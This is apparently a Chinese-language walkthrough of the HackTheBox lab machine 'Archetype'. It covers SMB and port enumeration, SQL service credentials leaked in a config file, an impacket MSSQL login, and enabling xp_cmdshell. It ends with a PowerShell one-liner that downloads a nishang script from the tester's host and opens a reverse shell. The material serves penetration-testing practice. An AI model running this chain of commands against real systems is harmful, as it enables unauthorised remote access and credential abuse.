HackTheBox-Archetype

Mi3aka 收录于 HackTheBox

2022-01-05 约 552 字预计阅读 2 分钟

前期工作

对靶机进行扫描nmap -A 10.10.10.27

445/tcp端口,用于Windows系统的共享文件夹
1433/tcp端口,用于MSSQL端口

首先对445端口的共享文件夹进行查看

smbclient -N -L 10.10.10.27

尝试对文件夹内的内容进行读取

prod.dtsConfig文件内容为

1
2
3
4
5
6
7
8


<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

可以知道用户名为ARCHETYPE\sql_svc,而密码为M3g4c0rp123

xp_cmdshell获取user权限

用https://github.com/SecureAuthCorp/impacket下的examples/mssqlclient.py进行数据库连接

python mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth

用SELECT IS_SRVROLEMEMBER('sysadmin')查看当前权限

https://docs.microsoft.com/en-us/sql/t-sql/functions/is-srvrolemember-transact-sql?view=sql-server-ver15#examples

1
2
3
4
5
6


IF IS_SRVROLEMEMBER ('sysadmin') = 1  
   print 'Current user''s login is a member of the sysadmin role'  
ELSE IF IS_SRVROLEMEMBER ('sysadmin') = 0  
   print 'Current user''s login is NOT a member of the sysadmin role'  
ELSE IF IS_SRVROLEMEMBER ('sysadmin') IS NULL  
   print 'ERROR: The server role specified is not valid.';

当前权限为sysadmin

开启xp_cmdshell

网络状况

在C:\Users\sql_svc\Desktop\找到user flag

用nishang反弹shell

xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.45:8000/Invoke-PowerShellTcp.ps1\");Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.45 -port 8080"